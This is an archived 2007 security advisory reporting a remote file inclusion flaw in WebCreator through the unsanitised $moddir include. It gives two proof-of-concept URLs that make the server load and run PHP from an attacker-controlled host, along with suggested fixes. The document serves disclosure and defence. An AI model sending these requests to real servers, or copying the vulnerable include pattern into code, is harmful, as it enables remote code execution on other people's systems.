____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_74$2007
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[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------
Author : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv74-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : WebCreator
version : <= 0.2.6-rc3
URL : http://webcreator.innoxia.cz/
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~
- Invalid include_once function at mods/content/load.inc.php
-----------------------mods/content/load.inc.php------------
<?
include_once($moddir . '/functions.lib.php');
?>
----------------------------------------------------------
Input passed to the "$moddir" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
also affected files :
config/load.inc.php
http/load.inc.php
and More ....
Proof Of Concept:
~~~~~~~~~~~~~
http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?
http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?
Solution:
~~~~~
- Sanitize variable $moddir affected files.
- Turn off register_globals
---------------------------------------------------------------------------
Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id
-------------------------------- [ EOF ]----------------------------------
# milw0rm.com [2007-03-13]
